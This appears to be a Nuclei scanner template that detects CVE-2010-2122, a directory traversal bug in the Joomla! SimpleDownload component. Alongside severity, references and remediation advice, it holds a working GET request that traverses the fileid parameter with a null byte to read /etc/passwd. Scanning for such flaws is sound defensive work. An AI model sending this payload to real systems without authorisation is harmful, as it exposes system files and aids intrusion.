id: CVE-2010-2122

info:
  name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can retrieve arbitrary files from the server, potentially leading to unauthorized access or sensitive data exposure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12623
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2122
    - https://www.exploit-db.com/exploits/12618
    - http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58625
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2122
    cwe-id: CWE-22
    epss-score: 0.11663
    epss-percentile: 0.95507
    cpe: cpe:2.3:a:joelrowley:com_simpledownload:0.9.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joelrowley
    product: com_simpledownload
  tags: cve2010,cve,joomla,lfi,edb,joelrowley,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100efdae6ec6fd7c812c9d2af4ce0fc9527f1a4b3c21ea8233c1c5a1404a3c92f59022100d445d1a2a7184e43310c95de4d08598a28b7e370b328aa18231857fd9d649777:922c64590222798bb761d5b6d8e72950